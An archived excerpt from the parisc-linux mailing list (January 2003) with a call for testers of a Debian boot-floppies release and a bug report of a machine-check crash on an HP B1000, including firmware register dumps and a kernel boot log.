X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Preparation of Boot-Floppies release 3.0.24, testers wanted
Date: Fri, 3 Jan 2003 20:49:06 +0000
Lines: 62
Approved: news@gmane.org
Message-ID: <20030103204906.GJ24337@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622067 19336 80.91.229.3 (22 Nov 2014 02:07:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan  3 13:58:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc3-hem11-4-cust111.brnt.cable.ntl.com [213.107.179.111])
	by dsl2.external.hp.com (Postfix) with ESMTP id BD8214829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 Jan 2003 13:58:06 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id E60299EE69; Fri,  3 Jan 2003 20:49:06 +0000 (GMT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17244

There will be a new boot-floppies release for woody 3.0r2; I've built
CVS head, using kernel 2.4.19 from unstable, and tested on B180 serial
and graphical console, 715 serial console, and C360 serial and graphical
console.  Would be good if someone else could test, especially on 64
bit, as I am not able to do that at the moment.

Available at <http://people.debian.org/~blade/bf3024/>

Thanks,
  Richard

On Wed, Dec 18, 2002 at 07:55:46PM +0100, Eduard Bloch wrote:
> ( first semi-official call-for-helpers, see also:
> http://people.debian.org/~blade/bf3024/ )
> 
> Preparation of Boot-Floppies release 3.0.24
> ===========================================
> 
> I volunteered to prepare the next release of Debian's Boot-Floppies
> tree. The next release of Debian Woody, 3.0r2 was planned for about two
> months after r1, so we have at least this period from now. There are
> known outstanding problems that will be fixed in Woody by this release:
>  
>  - potential security risks using old kernel versions
>  - miscellaneous glitches on m68k
>  - outdated kernel on i386, not supporting large harddisks
>  - various bugfixes on s390
>  - and many others, including better documentation
> 
> So my prefered schedule is:
> 
>  - everyone responsible for a certain architecture should update to
>    latest CVS HEAD and make test builds (one week)
>  - Test builds are distributed for testing, netinst images are created,
>    announcing on DP, DWN, etc. (2 weeks)
>  - Final release, buildin on all architectures and uploading
> 
> Since we are building for 11 architectures this time, I prefer having a
> bit more coordination: http://people.debian.org/~blade/bf3024/ will
> contain a simple overview and links to testing builds.
> 
> So, my fellow b-f developers, come out whereever you are, spend few
> hours[1], report problems and fix them where needed. You know the rules.
> 
>  - Do not break stuff intentionaly
>  - Do not risc changing something if you cannot predict the consequences
>  - Build in a Woody chroot ("debootstrap" helps), do not risc messing up
>    something because of Sid's problem of the day.
> 
> When I have spare time, I will hang around on the #debian-boot on
> Freenode network. If there is no reaction from me, better send an /msg.
> 
> Happy Hacking,
> Eduard.
> -- 
> User Error: replace user and press any key to continue.
> 
> 
> -- 
> To UNSUBSCRIBE, email to debian-boot-request@lists.debian.org
> with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org


From - Thu Nov 08 21:26:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Steve Cornett" <stevec@bullseye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] B1000 Debian 3.0r1 High-Priority Machine Check
Date: Fri, 3 Jan 2003 14:06:02 -0800
Lines: 532
Approved: news@gmane.org
Message-ID: <001b01c2b374$4f810930$a87ba8c0@steve>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_001C_01C2B331.415DC930"
X-Trace: ger.gmane.org 1416622067 19337 80.91.229.3 (22 Nov 2014 02:07:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:47 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan  3 15:06:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rwcrmhc53.attbi.com (rwcrmhc53.attbi.com [204.127.198.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4AE2D4829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 Jan 2003 15:06:16 -0700 (MST)
Original-Received: from steve (12-231-69-15.client.attbi.com[12.231.69.15])
          by rwcrmhc53.attbi.com (rwcrmhc53) with SMTP
          id <2003010322060405300jhi9ge>; Fri, 3 Jan 2003 22:06:04 +0000
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17245

This is a multi-part message in MIME format.

------=_NextPart_000_001C_01C2B331.415DC930
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit

I booted the Debian 3.0r1 CD 1 on my generic B1000 and it crashed.  The
problem does not occur when booting with serial console, only when using
the graphics console (A4977A Visualize EG).

The last two lines of output:

	init started:  BusyBox v0.60.3-pre (2002.01.21-23:29+0000)
multi-call binary
	High-Priority Machine Check (HPMC): Code=1 regs=102f3080
(Addr=00000000)

The front panel LCD says: FLT CBFB4.17-32

I've attached a boot log from using the serial console, and the "ser
pim" info.

------=_NextPart_000_001C_01C2B331.415DC930
Content-Type: text/plain;
	name="serPim.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="serPim.txt"

Firmware Version 5.0=0A=
=0A=
Duplex Console IO Dependent Code (IODC) revision 1=0A=
=0A=
-------------------------------------------------------------------------=
-----=0A=
   (c) Copyright 1995-2000, Hewlett-Packard Company, All rights reserved=0A=
-------------------------------------------------------------------------=
-----=0A=
=0A=
  Processor   Speed            State           Coprocessor State  I/D =
Cache =0A=
  ---------  --------   ---------------------  -----------------  =
-------------=0A=
      0      300 MHz    Active                 Functional         512 =
kB/1 MB=0A=
=0A=
  Central Bus Speed:                   120 MHz=0A=
=0A=
  Available memory:              536870912 bytes=0A=
  Good memory required:           44978176 bytes=0A=
=0A=
  Primary boot path:    FWSCSI.6.0=0A=
  Alternate boot path:  SCSI.6.0=0A=
  Console path:         GRAPHICS(2)=0A=
  Keyboard path:        USB=0A=
=0A=
CPU 0=0A=
NOTICE :  Processor self-tests have been disabled because FASTBOOT is=0A=
          enabled.  To enable self-tests, disable FASTBOOT with the =
FASTBOOT=0A=
          command in the CONFIGURATION menu and reboot the system.=0A=
NOTICE :  Memory has been initialized but not tested because FASTBOOT is=0A=
          enabled.  To test memory, disable FASTBOOT with the FASTBOOT=0A=
          command in the CONFIGURATION menu and reboot the system.=0A=
=0A=
=0A=
Processor is booting from first available device.=0A=
=0A=
To discontinue, press any key within 10 seconds.=0A=
=0A=
=07Boot terminated.=0A=
=0A=
=0A=
----- Main Menu =
-------------------------------------------------------------=0A=
=0A=
      Command                           Description=0A=
      -------                           -----------=0A=
      BOot [PRI|ALT|<path>]             Boot from specified path=0A=
      PAth [PRI|ALT|CON|KEY [<path>]]   Display or modify a path=0A=
      SEArch [DIsplay|[[IPL] [<path>]]] Search for boot devices=0A=
=0A=
      COnfiguration [<command>]         Access Configuration =
menu/commands=0A=
      INformation [<command>]           Access Information menu/commands=0A=
      SERvice [<command>]               Access Service menu/commands=0A=
=0A=
      DIsplay                           Redisplay the current menu=0A=
      HElp [<menu>|<command>]           Display help for menu or command=0A=
      RESET                             Restart the system=0A=
-----=0A=
Main Menu: Enter command > ser=0A=
=0A=
----- Service Menu =
----------------------------------------------------------=0A=
=0A=
      Command                           Description=0A=
      -------                           -----------=0A=
      ChassisCodes [<proc>|ON|OFF]      Display/enable/disable chassis =
codes=0A=
      CLEARPIM                          Clear (zero) the contents of PIM=0A=
      EepromRead [<addr> [<len>]]       Read EEPROM locations=0A=
      MemRead <addr> [<len>] [<type>]   Read memory locations=0A=
      PciDelay [<value>]                Display or set PCI delay value=0A=
      PDT [CLEAR]                       Display or clear=0A=
                                        the Page Deallocation Table=0A=
      PIM [<proc>] [HPMC|LPMC|TOC]      Display PIM information=0A=
      RemotePower [ON|OFF]              Display/enable/disable remote =
power=0A=
      ScRoll [ON|OFF]                   Display or change scrolling =
ability=0A=
=0A=
      BOot [PRI|ALT|<path>]             Boot from specified path=0A=
      DIsplay                           Redisplay the current menu=0A=
      HElp [<menu>|<command>]           Display help for menu or command=0A=
      RESET                             Restart the system=0A=
      MAin                              Return to Main menu=0A=
-----=0A=
Service Menu: Enter command > pim=0A=
=0A=
PROCESSOR PIM INFORMATION=0A=
=0A=
-----------------  Processor 0 HPMC Information ------------------=0A=
=0A=
Timestamp =3D =0A=
  Fri Jan  3 21:45:13 GMT 2003    (20:03:01:03:21:45:13)=0A=
=0A=
HPMC Chassis Codes =3D 2cbf0  2500b  2cbfb  =0A=
=0A=
General Registers 0 - 31=0A=
00-03   0000000000000000  0000000000029a90  0000000000000008  =
00000000401d3000=0A=
04-07   0000000000000000  0000000000000000  0000000000000007  =
0000000000000001=0A=
08-11   0000000000000010  0000000000000001  00000000faf005d0  =
0000000000000010=0A=
12-15   0000000000029a90  0000000000000000  0000000000029a90  =
0000000000000000=0A=
16-19   000000000002b010  0000000000029a90  0000000000029a90  =
00000000401d3000=0A=
20-23   0000000000000000  0000000000000000  000000000000001c  =
0000000000000000=0A=
24-27   0000000000000000  0000000000000000  0000000000000000  =
0000000000029a90=0A=
28-31   0000000000000008  0000000000000000  00000000faf00700  =
0000000000000000=0A=
=0A=
<Press any key to continue (q to quit)> =0A=
=0A=
Control Registers 0 - 31=0A=
00-03   0000000000000000  0000000000000000  0000000000000000  =
0000000000000000=0A=
04-07   0000000000000000  0000000000000000  0000000000000000  =
0000000000000000=0A=
08-11   0000000000000222  0000000000000000  00000000000000c0  =
000000000000001e=0A=
12-15   0000000000000000  0000000000000000  0000000000105000  =
00000000ffffffff=0A=
16-19   0000000599cc5e0b  0000000000000111  000000000001555f  =
000000000e661200=0A=
20-23   00000000100403ec  40000000001d3000  00000000000cff0f  =
0000000000000000=0A=
24-27   000000000030b000  000000001f117000  00000000ffffffff  =
00000000ffffffff=0A=
28-31   00000000ffffffff  00000000ffffffff  000000002f118000  =
00000000103a0000=0A=
Space Registers 0 - 7=0A=
=0A=
00-03   00000111          00000111          00000000          00000111=0A=
04-07   00000111          00000111          00000111          00000111=0A=
=0A=
<Press any key to continue (q to quit)> =0A=
=0A=
IIA Space                    =3D 0x0000000000000111=0A=
IIA Offset                   =3D 0x00000000000151b3=0A=
Check Type                   =3D 0x20000000=0A=
CPU State                    =3D 0x9e000004=0A=
Cache Check                  =3D 0x00000000=0A=
TLB Check                    =3D 0x00000000=0A=
Bus Check                    =3D 0x003010bb=0A=
Assists Check                =3D 0x00000000=0A=
Assist State                 =3D 0x00000000=0A=
Path Info                    =3D 0x00031800=0A=
System Responder Address     =3D 0xfffffffffed10200=0A=
System Requestor Address     =3D 0xfffffffffffa0000=0A=
=0A=
Floating-Point Registers 0 - 31=0A=
00-03   0000001f00000000  0000000000000000  0000000000000000  =
0000000000000000=0A=
04-07   1030381000000001  0000000110149d78  000000020028a286  =
0000000000000000=0A=
08-11   1030a02000000002  ffffffff0000000a  0000000000000000  =
103aed9f00000000=0A=
12-15   0000000000000000  0000000010139d8c  0000000010303810  =
1030081010300810=0A=
16-19   2f38e0001039c000  0000000000000002  0000000010300810  =
1039b8102f38e000=0A=
20-23   1039c00000000000  0000000200000000  0000000000000000  =
0000000000000000=0A=
24-27   0000080000000000  0000003000000000  103b4d64102b9364  =
2f38e005102b9474=0A=
28-31   3031323334353637  3839616210139f94  6768696a6b6c6d6e  =
6f70717273747576=0A=
=0A=
<Press any key to continue (q to quit)> =0A=
=0A=
=0A=
'9000/785 B,C,J Workstation Unarchitected (per-CPU)', rev 1, 140 bytes:=0A=
=0A=
Check Summary                =3D 0xcb81041000000000=0A=
Available Memory             =3D 0x0000000020000000=0A=
CPU Diagnose Register 2      =3D 0x0201000000000004=0A=
CPU Status Register 0        =3D 0x2420c20000000000=0A=
CPU Status Register 1        =3D 0x8080000000000000=0A=
SADD LOG                     =3D 0x010008a100000001=0A=
Read Short LOG               =3D 0xc1a0f0f0f0400804=0A=
ERROR_STATUS                 =3D 0x0000000000000010=0A=
MEM_ADDR                     =3D 0x000001ff3fffffff=0A=
MEM_SYND                     =3D 0x0000000000000000=0A=
MEM_ADDR_CORR                =3D 0x000001ff3fffffff=0A=
MEM_SYND_CORR                =3D 0x0000000000000000=0A=
RUN_DATA_HIGH                =3D 0xc1bff0fffed08040=0A=
RUN_DATA_LOW                 =3D 0xc1bff0fffed08040=0A=
RUN_CTRL                     =3D 0x0000021c00001418=0A=
RUN_ADDR                     =3D 0xc1bff0fffed08040=0A=
System Responder Path        =3D 0x00ffffffffffffff=0A=
=0A=
=0A=
HPMC PIM Analysis Information:=0A=
=0A=
Timestamp =3D =0A=
  Fri Jan  3 21:45:13 GMT 2003    (20:03:01:03:21:45:13)=0A=
=0A=
=0A=
'9000/785 B,C,J Workstation HPMC PIM Analysis (per-CPU)', rev 0, 1304 =
bytes:=0A=
=0A=
A Data Miss Timeout occurred while CPU 0 was=0A=
requesting information.=0A=
=0A=
=0A=
Memory/IO Controller Error Analysis Information:=0A=
=0A=
The Memory/IO Controller only observed the Broadcast Error.  It did not =
log=0A=
any additional information about the HPMC.=0A=
=0A=
<Press any key to continue (q to quit)> =0A=
=0A=
-----------------  Processor 0 LPMC Information ------------------=0A=
=0A=
Check Type                   =3D 0x00000000=0A=
I/D Cache Parity Info        =3D 0x00000000=0A=
Cache Check                  =3D 0x00000000=0A=
TLB Check                    =3D 0x00000000=0A=
Bus Check                    =3D 0x00000000=0A=
Assists Check                =3D 0x00000000=0A=
Assist State                 =3D 0x00000000=0A=
Path Info                    =3D 0x00000000=0A=
System Responder Address     =3D 0x0000000000000000=0A=
System Requestor Address     =3D 0x0000000000000000=0A=
=0A=
=0A=
-----------------  Processor 0 TOC Information -------------------=0A=
=0A=
General Registers 0 - 31=0A=
00-03   0000000000000000  0000000000000000  0000000000000000  =
0000000000000000=0A=
04-07   0000000000000000  0000000000000000  0000000000000000  =
0000000000000000=0A=
08-11   0000000000000000  0000000000000000  0000000000000000  =
0000000000000000=0A=
12-15   0000000000000000  0000000000000000  0000000000000000  =
0000000000000000=0A=
16-19   0000000000000000  0000000000000000  0000000000000000  =
0000000000000000=0A=
20-23   0000000000000000  0000000000000000  0000000000000000  =
0000000000000000=0A=
24-27   0000000000000000  0000000000000000  0000000000000000  =
0000000000000000=0A=
28-31   0000000000000000  0000000000000000  0000000000000000  =
0000000000000000=0A=
=0A=
<Press any key to continue (q to quit)> =0A=
=0A=
Control Registers 0 - 31=0A=
00-03   0000000000000000  0000000000000000  0000000000000000  =
0000000000000000=0A=
04-07   0000000000000000  0000000000000000  0000000000000000  =
0000000000000000=0A=
08-11   0000000000000000  0000000000000000  0000000000000000  =
0000000000000000=0A=
12-15   0000000000000000  0000000000000000  0000000000000000  =
0000000000000000=0A=
16-19   0000000000000000  0000000000000000  0000000000000000  =
0000000000000000=0A=
20-23   0000000000000000  0000000000000000  0000000000000000  =
0000000000000000=0A=
24-27   0000000000000000  0000000000000000  0000000000000000  =
0000000000000000=0A=
28-31   0000000000000000  0000000000000000  0000000000000000  =
0000000000000000=0A=
Space Registers 0 - 7=0A=
=0A=
00-03   00000000          00000000          00000000          00000000=0A=
04-07   00000000          00000000          00000000          00000000=0A=
=0A=
IIA Space                    =3D 0x0000000000000000=0A=
IIA Offset                   =3D 0x0000000000000000=0A=
CPU State                    =3D 0x00000000=0A=
=0A=
=0A=
<Press any key to continue (q to quit)> =0A=
=0A=
Memory Error Log Information:=0A=
=0A=
Timestamp =3D =0A=
  Fri Jan  3 21:45:13 GMT 2003    (20:03:01:03:21:45:13)=0A=
=0A=
=0A=
'9000/785 B,C,J Workstation Memory Error Log', rev 0, 64 bytes:=0A=
=0A=
   No memory errors logged=0A=
=0A=
=0A=
I/O Module Error Log Information:=0A=
=0A=
Timestamp =3D =0A=
  Fri Jan  3 21:45:13 GMT 2003    (20:03:01:03:21:45:13)=0A=
=0A=
=0A=
'9000/785 B,C,J Workstation IO Error Log', rev 0, 228 bytes:=0A=
=0A=
 Rope     Word1        Word2            Word3=0A=
------ ------------ ------------=0A=
   0    0x00000000   0x0e0cc009   0x00000000fed30048=0A=
   1    0x00000000   0x1e0cc009   0x00000000fed32048=0A=
   2    ----------   0x2e0cc009   ------------------=0A=
   3    ----------   0x3e0cc009   ------------------=0A=
   4    0x00000000   0x4e0cc009   0x00000000fed38048=0A=
   5    ----------   0x5e0cc009   ------------------=0A=
   6    0x00000000   0x6e0cc009   0x00000000fed3c048=0A=
   7    ----------   0x7e0cc009   ------------------=0A=
Service Menu: Enter command > =0A=

------=_NextPart_000_001C_01C2B331.415DC930
Content-Type: text/plain;
	name="bootLog.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="bootLog.txt"

bo ide=0A=
Interact with IPL (Y, N, Q)?> n=0A=
=0A=
Booting... =0A=
Boot IO Dependent Code (IODC) revision 0=0A=
=0A=
=0A=
HARD Booted.=0A=
palo ipl 1.0 root@palinux Mon Apr  1 10:02:53 MST 2002=0A=
=0A=
Boot image contains:=0A=
    0/vmlinux32 3687647 bytes @ 0x608000=0A=
    0/vmlinux64 4719374 bytes @ 0x98c800=0A=
    0/ramdisk 2663046 bytes @ 0xe0d000=0A=
=0A=
Information: No console specified on kernel command line. This is normal.=0A=
PALO will choose the console currently used by firmware (serial).=0A=
Command line for kernel: 'ramdisk_size=3D8192 root=3D/dev/ram =
console=3DttyS0 TERM=3Dvt102 palo_kernel=3D0/vmlinux'=0A=
Selected kernel: /vmlinux from partition 0=0A=
Selected ramdisk: /ramdisk from partition 0=0A=
Warning: kernel name doesn't end with 32 or 64 -- Guessing... =0A=
This box can boot either 32 or 64-bit kernels...Both kernels available, =
choosing 32-bit kernelELF32 executable=0A=
Entry 00100000 first 00100000 n 5=0A=
Segment 0 load 00100000 size 2024492 mediaptr 0x1000=0A=
Segment 1 load 002f0000 size 299320 mediaptr 0x1f0000=0A=
Segment 2 load 0033c000 size 401408 mediaptr 0x23a000=0A=
Segment 3 load 003a0000 size 32768 mediaptr 0x29c000=0A=
Segment 4 load 003c90f8 size 102032 mediaptr 0x2a40f8=0A=
Loading ramdisk 2663046 bytes @ 1fd65000...=0A=
Branching to kernel entry point 0x00100000.  If this is the last=0A=
message you see, you may need to switch your console.  This is=0A=
a common symptom -- search the FAQ and mailing list at parisc-linux.org=0A=
=0A=
Linux version 2.4.17-32 (root@paer) (gcc version 3.0.4) #1 Sat Mar 16 =
17:09:00 MST 2002=0A=
FP[0] enabled: Rev 1 Model 16=0A=
The 32-bit Kernel has started...=0A=
Determining PDC firmware type: System Map.=0A=
model 00005bc0 00000481 00000000 00000002 77d1dd40 100000f0 00000008 =
000000b2 000000b2=0A=
vers  00000201=0A=
CPUID vers 17 rev 5 (0x00000225)=0A=
model 9000/785/B1000=0A=
Total Memory: 512 Mb=0A=
initrd: 2fd65000-2ffef286=0A=
initrd: reserving 1fd65000-1ffef286 (mem_max 20000000)=0A=
pagetable_init=0A=
On node 0 totalpages: 131072=0A=
zone(0): 131072 pages.=0A=
zone(1): 0 pages.=0A=
zone(2): 0 pages.=0A=
LCD display at f05d0008,f05d0000 registered=0A=
Kernel command line: ramdisk_size=3D8192 root=3D/dev/ram console=3DttyS0 =
TERM=3Dvt102 palo_kernel=3D0/vmlinux=0A=
Console: colour dummy device 160x64=0A=
Calibrating delay loop... 599.65 BogoMIPS=0A=
Memory: 510408k available=0A=
Dentry-cache hash table entries: 65536 (order: 7, 524288 bytes)=0A=
Inode-cache hash table entries: 32768 (order: 6, 262144 bytes)=0A=
Mount-cache hash table entries: 8192 (order: 4, 65536 bytes)=0A=
Buffer-cache hash table entries: 32768 (order: 5, 131072 bytes)=0A=
Page-cache hash table entries: 131072 (order: 7, 524288 bytes)=0A=
Searching for devices...=0A=
Found devices:=0A=
1. Astro BC Runway Port (12) at 0xfed00000 [10], versions 0x582, 0x0, 0xb=0A=
2. Elroy PCI Bridge (13) at 0xfed30000 [10/0], versions 0x782, 0x0, 0xa=0A=
3. Elroy PCI Bridge (13) at 0xfed32000 [10/1], versions 0x782, 0x0, 0xa=0A=
4. Elroy PCI Bridge (13) at 0xfed38000 [10/4], versions 0x782, 0x0, 0xa=0A=
5. Elroy PCI Bridge (13) at 0xfed3c000 [10/6], versions 0x782, 0x0, 0xa=0A=
6. AllegroLow W (0) at 0xfffa0000 [32], versions 0x5bc, 0x0, 0x4=0A=
7. Memory (1) at 0xfed10200 [49], versions 0x87, 0x0, 0x9=0A=
CPU(s): 1 x PA8500 (PCX-W) at 300.000000 MHz=0A=
SBA found Astro 2.1 at 0xfed00000=0A=
lba version TR2.1 (0x2) found at 0xfed30000=0A=
lba version TR2.1 (0x2) found at 0xfed32000=0A=
lba version TR2.1 (0x2) found at 0xfed38000=0A=
lba version TR2.1 (0x2) found at 0xfed3c000=0A=
iosapic: hpa not registered for Hewlett-Packard Company A4977A Visualize =
EG=0A=
POSIX conformance testing by UNIFIX=0A=
Linux NET4.0 for Linux 2.4=0A=
Based upon Swansea University Computer Society NET3.039=0A=
Initializing RT netlink socket=0A=
Enabled soft power switch (polling mode, io=3D0xf0400804).=0A=
SuperIO: Found NS87560 Legacy I/O device at 00:0e.1 (IRQ 64) =0A=
SuperIO: Serial port 1 at 0x3f8=0A=
SuperIO: Serial port 2 at 0x2f8=0A=
SuperIO: Parallel port at 0x378=0A=
SuperIO: Floppy controller at 0x3f0=0A=
SuperIO: ACPI at 0x7e0=0A=
SuperIO: USB regulator enabled=0A=
parport0: PC-style at 0x378, irq 101 [PCSPP(,...)]=0A=
Starting kswapd=0A=
Journalled Block Device driver loaded=0A=
PCI graphic ROM found at f7000000 (64 kB), fb @ fa000000 (32 MB)=0A=
STI word mode ROM at f7000044, hpa=3Dfa000000=0A=
STI word mode ROM, id 2d08c0a7-9a02587, conforms to spec rev. 8.0a=0A=
STI device: PCI_GRAFFITIX1024=0A=
Console: switching to colour frame buffer device 128x48=0A=
fb0: stifb 1024x768-8 frame buffer device, id: 2d08c0a7, mmio: 0xfa100000=0A=
pty: 256 Unix98 ptys configured=0A=
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ =
SERIAL_PCI enabled=0A=
ttyS00 at port 0x03f8 (irq =3D 99) is a 16550A=0A=
ttyS01 at port 0x02f8 (irq =3D 100) is a 16550A=0A=
lp0: using parport0 (interrupt-driven).=0A=
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)=0A=
block: 128 slots per queue, batch=3D32=0A=
RAMDISK driver initialized: 16 RAM disks of 8192K size 1024 blocksize=0A=
Uniform Multi-Platform E-IDE driver Revision: 6.31=0A=
ide: Assuming 33MHz system bus speed for PIO modes; override with =
idebus=3Dxx=0A=
NS87415: IDE controller on PCI bus 00 dev 70=0A=
NS87415: chipset revision 3=0A=
NS87415: 100% native mode on irq 103=0A=
    ide0: BM-DMA at 0x0a00-0x0a07, BIOS settings: hda:pio, hdb:pio=0A=
    ide1: BM-DMA at 0x0a08-0x0a0f, BIOS settings: hdc:pio, hdd:pio=0A=
hda: TOSHIBA DVD-ROM SD-M1612, ATAPI CD/DVD-ROM drive=0A=
ide0 at 0xf00-0xf07,0xe02 on irq 103=0A=
hda: ATAPI 48X DVD-ROM drive, 512kB Cache=0A=
Uniform CD-ROM driver Revision: 3.12=0A=
loop: loaded (max 8 devices)=0A=
Linux Tulip driver version 0.9.15-pre9 (Nov 6, 2001)=0A=
tulip0: no phy info, aborting mtable build=0A=
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.=0A=
eth0: Digital DS21143 Tulip rev 65 at 0x1000, 00:10:83:04:94:C9, IRQ 66.=0A=
SCSI subsystem driver Revision: 1.00=0A=
sym53c8xx: at PCI bus 0, device 15, function 0=0A=
sym53c8xx: 53c896 detected =0A=
sym53c8xx: at PCI bus 0, device 15, function 1=0A=
sym53c8xx: 53c896 detected =0A=
sym53c896-0: rev 0x4 on pci bus 0 device 15 function 0 irq 65=0A=
sym53c896-0: ID 7, Fast-20, Parity Checking=0A=
sym53c896-0: handling phase mismatch from SCRIPTS.=0A=
sym53c896-1: rev 0x4 on pci bus 0 device 15 function 1 irq 65=0A=
sym53c896-1: ID 7, Fast-40, Parity Checking=0A=
sym53c896-1: handling phase mismatch from SCRIPTS.=0A=
scsi0 : sym53c8xx-1.7.3c-20010512=0A=
scsi1 : sym53c8xx-1.7.3c-20010512=0A=
  Vendor: IBM       Model: DNES-309170Y      Rev: SAA0=0A=
  Type:   Direct-Access                      ANSI SCSI revision: 03=0A=
Attached scsi disk sda at scsi1, channel 0, id 6, lun 0=0A=
sym53c896-1-<6,*>: FAST-20 WIDE SCSI 40.0 MB/s (50.0 ns, offset 31)=0A=
SCSI device sda: 17916240 512-byte hdwr sectors (9173 MB)=0A=
Partition check:=0A=
 sda: sda1=0A=
sticonsole_init: searching for STI ROMs=0A=
md: linear personality registered as nr 1=0A=
md: raid0 personality registered as nr 2=0A=
md: raid1 personality registered as nr 3=0A=
md: raid5 personality registered as nr 4=0A=
raid5: measuring checksumming speed=0A=
   8regs     :   722.400 MB/sec=0A=
   8regs_prefetch:   722.800 MB/sec=0A=
   32regs    :   513.600 MB/sec=0A=
   32regs_prefetch:   513.200 MB/sec=0A=
raid5: using function: 8regs_prefetch (722.800 MB/sec)=0A=
md: md driver 0.90.0 MAX_MD_DEVS=3D256, MD_SB_DISKS=3D27=0A=
md: Autodetecting RAID arrays.=0A=
md: autorun ...=0A=
md: ... autorun DONE.=0A=
NET4: Linux TCP/IP 1.0 for NET4.0=0A=
IP Protocols: ICMP, UDP, TCP, IGMP=0A=
IP: routing cache hash table of 4096 buckets, 32Kbytes=0A=
TCP: Hash tables configured (established 32768 bind 65536)=0A=
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.=0A=
RAMDISK: Compressed image found at block 0=0A=
EXT2-fs warning: checktime reached, running e2fsck is recommended=0A=
VFS: Mounted root (ext2 filesystem).=0A=
NOT FREEING INITMEM (383k)=0A=
serial console detected.  Disabling virtual terminals.=0A=
init started:  BusyBox v0.60.3-pre (2002.01.21-23:29+0000) multi-call =
binary=0A=

------=_NextPart_000_001C_01C2B331.415DC930--



From - Thu Nov 08 21:26:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000 Debian 3.0r1 High-Priority Machine Check
Date: Fri, 3 Jan 2003 18:55:26 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20030104015526.GB29245@dsl2.external.hp.com>
References: <001b01c2b374$4f810930$a87ba8c0@steve>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622067 19339 80.91.229.3 (22 Nov 2014 02:07:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Steve Cornett <stevec@bullseye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan  3 18:55:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
